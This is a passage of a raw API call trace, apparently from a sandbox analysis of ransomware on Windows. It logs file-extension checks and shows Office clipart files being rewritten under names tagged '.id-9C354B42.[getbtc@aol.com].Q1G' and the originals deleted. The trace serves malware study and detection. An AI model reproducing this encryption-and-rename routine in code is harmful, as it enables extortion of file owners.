lpString2=".WMF") returned 1 [0256.286] lstrlenW (lpString=".rar") returned 4 [0256.286] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.286] lstrlenW (lpString=".bz2") returned 4 [0256.286] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.286] lstrlenW (lpString=".7z") returned 3 [0256.286] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF") returned 63 [0256.286] lstrlenW (lpString=".dbf") returned 4 [0256.286] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF") returned 63 [0256.287] lstrlenW (lpString=".1cd") returned 4 [0256.287] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF") returned 63 [0256.287] lstrlenW (lpString=".jpg") returned 4 [0256.287] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.287] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0256.287] lstrlenW (lpString="J0105298.WMF") returned 12 [0256.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105298.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0256.297] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=6320) returned 1 [0256.297] CloseHandle (hObject=0x3a8) returned 1 [0256.297] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105298.wmf")) returned 0x20 [0256.340] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105298.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0256.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105298.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0256.405] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.405] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105298.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0256.405] GetLastError () returned 0x0 [0256.405] ReadFile (in: hFile=0x3c8, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x18b0, lpOverlapped=0x0) returned 1 [0256.480] WriteFile (in: hFile=0x3d8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x18c0, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x18c0, lpOverlapped=0x0) returned 1 [0256.481] ReadFile (in: hFile=0x3c8, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0256.481] WriteFile (in: hFile=0x3d8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0256.481] SetEndOfFile (hFile=0x3d8) returned 1 [0256.481] CloseHandle (hObject=0x3d8) returned 1 [0256.481] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.481] SetEndOfFile (hFile=0x3c8) returned 1 [0256.483] CloseHandle (hObject=0x3c8) returned 1 [0256.483] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0256.493] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105298.wmf")) returned 1 [0256.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF") returned 63 [0256.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF") returned 63 [0256.561] lstrlenW (lpString=".doc") returned 4 [0256.561] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.561] lstrlenW (lpString=".docx") returned 5 [0256.561] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0256.561] lstrlenW (lpString=".pdf") returned 4 [0256.561] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.562] lstrlenW (lpString=".xls") returned 4 [0256.562] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.562] lstrlenW (lpString=".xlsx") returned 5 [0256.562] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0256.562] lstrlenW (lpString=".ppt") returned 4 [0256.562] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF") returned 63 [0256.562] lstrlenW (lpString=".zip") returned 4 [0256.562] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.562] lstrlenW (lpString=".rar") returned 4 [0256.562] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.562] lstrlenW (lpString=".bz2") returned 4 [0256.562] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.562] lstrlenW (lpString=".7z") returned 3 [0256.562] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF") returned 63 [0256.562] lstrlenW (lpString=".dbf") returned 4 [0256.562] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF") returned 63 [0256.562] lstrlenW (lpString=".1cd") returned 4 [0256.562] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF") returned 63 [0256.562] lstrlenW (lpString=".jpg") returned 4 [0256.562] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF") returned 63 [0256.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF") returned 63 [0256.562] lstrlenW (lpString=".doc") returned 4 [0256.562] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.562] lstrlenW (lpString=".docx") returned 5 [0256.562] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0256.562] lstrlenW (lpString=".pdf") returned 4 [0256.562] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.562] lstrlenW (lpString=".xls") returned 4 [0256.562] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.562] lstrlenW (lpString=".xlsx") returned 5 [0256.563] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0256.563] lstrlenW (lpString=".ppt") returned 4 [0256.563] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF") returned 63 [0256.563] lstrlenW (lpString=".zip") returned 4 [0256.563] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.563] lstrlenW (lpString=".rar") returned 4 [0256.563] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.563] lstrlenW (lpString=".bz2") returned 4 [0256.563] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.563] lstrlenW (lpString=".7z") returned 3 [0256.563] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF") returned 63 [0256.563] lstrlenW (lpString=".dbf") returned 4 [0256.563] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF") returned 63 [0256.563] lstrlenW (lpString=".1cd") returned 4 [0256.563] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF") returned 63 [0256.563] lstrlenW (lpString=".jpg") returned 4 [0256.563] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.563] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0256.563] lstrlenW (lpString="J0105360.WMF") returned 12 [0256.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105360.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0256.590] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=8860) returned 1 [0256.590] CloseHandle (hObject=0x3c8) returned 1 [0256.590] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105360.wmf")) returned 0x20 [0256.601] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105360.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0256.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105360.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0256.638] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.638] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105360.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0256.639] GetLastError () returned 0x0 [0256.639] ReadFile (in: hFile=0x390, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x229c, lpOverlapped=0x0) returned 1 [0256.664] WriteFile (in: hFile=0x1fc, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x22a0, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x22a0, lpOverlapped=0x0) returned 1 [0256.665] ReadFile (in: hFile=0x390, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0256.665] WriteFile (in: hFile=0x1fc, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0256.665] SetEndOfFile (hFile=0x1fc) returned 1 [0256.665] CloseHandle (hObject=0x1fc) returned 1 [0256.665] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.665] SetEndOfFile (hFile=0x390) returned 1 [0256.668] CloseHandle (hObject=0x390) returned 1 [0256.668] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0256.668] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105360.wmf")) returned 1 [0256.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF") returned 63 [0256.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF") returned 63 [0256.668] lstrlenW (lpString=".doc") returned 4 [0256.668] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.668] lstrlenW (lpString=".docx") returned 5 [0256.669] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0256.669] lstrlenW (lpString=".pdf") returned 4 [0256.669] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.669] lstrlenW (lpString=".xls") returned 4 [0256.669] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.669] lstrlenW (lpString=".xlsx") returned 5 [0256.669] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0256.669] lstrlenW (lpString=".ppt") returned 4 [0256.669] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF") returned 63 [0256.669] lstrlenW (lpString=".zip") returned 4 [0256.669] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.669] lstrlenW (lpString=".rar") returned 4 [0256.669] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.669] lstrlenW (lpString=".bz2") returned 4 [0256.669] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.669] lstrlenW (lpString=".7z") returned 3 [0256.669] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF") returned 63 [0256.669] lstrlenW (lpString=".dbf") returned 4 [0256.669] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF") returned 63 [0256.669] lstrlenW (lpString=".1cd") returned 4 [0256.669] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF") returned 63 [0256.669] lstrlenW (lpString=".jpg") returned 4 [0256.669] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF") returned 63 [0256.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF") returned 63 [0256.669] lstrlenW (lpString=".doc") returned 4 [0256.669] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.669] lstrlenW (lpString=".docx") returned 5 [0256.669] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0256.669] lstrlenW (lpString=".pdf") returned 4 [0256.669] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.669] lstrlenW (lpString=".xls") returned 4 [0256.669] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.670] lstrlenW (lpString=".xlsx") returned 5 [0256.670] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0256.670] lstrlenW (lpString=".ppt") returned 4 [0256.670] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF") returned 63 [0256.670] lstrlenW (lpString=".zip") returned 4 [0256.670] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.670] lstrlenW (lpString=".rar") returned 4 [0256.670] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.670] lstrlenW (lpString=".bz2") returned 4 [0256.670] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.670] lstrlenW (lpString=".7z") returned 3 [0256.670] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF") returned 63 [0256.670] lstrlenW (lpString=".dbf") returned 4 [0256.670] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF") returned 63 [0256.670] lstrlenW (lpString=".1cd") returned 4 [0256.670] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF") returned 63 [0256.670] lstrlenW (lpString=".jpg") returned 4 [0256.670] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.670] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0256.670] lstrlenW (lpString="J0105388.WMF") returned 12 [0256.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105388.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0256.925] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=8252) returned 1 [0256.925] CloseHandle (hObject=0x3c0) returned 1 [0256.925] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105388.wmf")) returned 0x20 [0256.925] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105388.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0257.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105388.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0257.069] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.069] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105388.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0257.116] GetLastError () returned 0x0 [0257.116] ReadFile (in: hFile=0x360, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x203c, lpOverlapped=0x0) returned 1 [0257.186] WriteFile (in: hFile=0x3e8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x2040, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x2040, lpOverlapped=0x0) returned 1 [0257.187] ReadFile (in: hFile=0x360, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0257.187] WriteFile (in: hFile=0x3e8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0257.188] SetEndOfFile (hFile=0x3e8) returned 1 [0257.188] CloseHandle (hObject=0x3e8) returned 1 [0257.188] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.188] SetEndOfFile (hFile=0x360) returned 1 [0257.190] CloseHandle (hObject=0x360) returned 1 [0257.190] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0257.268] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105388.wmf")) returned 1 [0257.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF") returned 63 [0257.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF") returned 63 [0257.292] lstrlenW (lpString=".doc") returned 4 [0257.292] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0257.292] lstrlenW (lpString=".docx") returned 5 [0257.292] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0257.292] lstrlenW (lpString=".pdf") returned 4 [0257.292] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.292] lstrlenW (lpString=".xls") returned 4 [0257.292] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.292] lstrlenW (lpString=".xlsx") returned 5 [0257.292] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0257.292] lstrlenW (lpString=".ppt") returned 4 [0257.292] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF") returned 63 [0257.293] lstrlenW (lpString=".zip") returned 4 [0257.293] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.293] lstrlenW (lpString=".rar") returned 4 [0257.293] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.293] lstrlenW (lpString=".bz2") returned 4 [0257.293] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.293] lstrlenW (lpString=".7z") returned 3 [0257.293] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF") returned 63 [0257.293] lstrlenW (lpString=".dbf") returned 4 [0257.293] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF") returned 63 [0257.293] lstrlenW (lpString=".1cd") returned 4 [0257.293] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF") returned 63 [0257.293] lstrlenW (lpString=".jpg") returned 4 [0257.293] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF") returned 63 [0257.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF") returned 63 [0257.293] lstrlenW (lpString=".doc") returned 4 [0257.293] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0257.293] lstrlenW (lpString=".docx") returned 5 [0257.293] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0257.293] lstrlenW (lpString=".pdf") returned 4 [0257.293] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.293] lstrlenW (lpString=".xls") returned 4 [0257.293] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.293] lstrlenW (lpString=".xlsx") returned 5 [0257.293] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0257.293] lstrlenW (lpString=".ppt") returned 4 [0257.293] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF") returned 63 [0257.293] lstrlenW (lpString=".zip") returned 4 [0257.293] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.293] lstrlenW (lpString=".rar") returned 4 [0257.293] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.294] lstrlenW (lpString=".bz2") returned 4 [0257.294] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.294] lstrlenW (lpString=".7z") returned 3 [0257.294] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF") returned 63 [0257.294] lstrlenW (lpString=".dbf") returned 4 [0257.294] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF") returned 63 [0257.294] lstrlenW (lpString=".1cd") returned 4 [0257.294] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.294] lstrlenW 